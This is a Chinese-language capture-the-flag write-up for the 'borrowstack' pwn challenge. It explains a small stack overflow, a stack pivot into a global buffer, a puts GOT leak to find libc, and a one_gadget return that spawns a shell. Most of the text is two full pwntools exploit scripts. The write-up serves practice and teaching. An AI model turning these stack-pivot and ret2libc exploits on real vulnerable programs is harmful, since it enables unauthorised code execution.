main函数如下:
int __cdecl main(int argc, const char **argv, const char **envp) { char buf; // [rsp+0h] [rbp-60h] setbuf(stdin, 0LL); setbuf(stdout, 0LL); puts(&s); read(0, &buf, 0x70uLL); puts("Done!You can check and use your borrow stack now!"); read(0, &bank, 0x100uLL); return 0; }
read(0, &buf, 0x70uLL);
处存在溢出,但是可利用的空间太小,所以可以把栈迁移到bank
那里。
这道题需要把栈抬高否则离输入输出流太近了,或者使用eds师傅的return大法0.0。
最后的返回地址填的不是main函数的地址,而直接填入的0x400680,直接到达溢出点。
from pwn import * from struct import pack elf = ELF('./gyctf_2020_borrowstack') local = 1 if local == 1: io = process('./gyctf_2020_borrowstack') gdb.attach(io,'b * 0x400680') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: io = remote('node4.buuoj.cn',29939) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') leave_addr = 0x400699 bank = 0x0601080 payload1 = 'a'*0x60+p64(bank)+p64(leave_addr) io.recvuntil("want\n") io.send(payload1) ret = 0x40069A puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] rdi_ret = 0x0000000000400703 payload2 = p64(bank)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(0x400680) io.recvuntil("now!\n") io.send(payload2) puts_addr = u64(io.recvuntil("\x7f")[-6:]+'\x00\x00') libc_base = puts_addr - libc.symbols['puts'] log.success('libc_base:'+hex(puts_addr)) io.sendline(cyclic(200)) io.interactive()
动调得到溢出点的距离为104
接下来使用one_gedget:
用第二个。最终的exp如下:
from pwn import * from struct import pack elf = ELF('./gyctf_2020_borrowstack') local = 1 if local == 1: io = process('./gyctf_2020_borrowstack') #gdb.attach(io,'b * 0x400680') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: io = remote('node4.buuoj.cn',29939) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') leave_addr = 0x400699 bank = 0x0601080 payload1 = 'a'*0x60+p64(bank)+p64(leave_addr) io.recvuntil("want\n") io.send(payload1) ret = 0x40069A puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] rdi_ret = 0x0000000000400703 payload2 = p64(bank)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(0x400680) io.recvuntil("now!\n") io.send(payload2) puts_addr = u64(io.recvuntil("\x7f")[-6:]+'\x00\x00') libc_base = puts_addr - libc.symbols['puts'] log.success('libc_base:'+hex(puts_addr)) system_addr = libc_base + libc.symbols['system'] binsh = libc_base + libc.search('/bin/sh').next() io.sendline(cyclic(104)+p64(libc_base + 0x4527a)) io.interactive()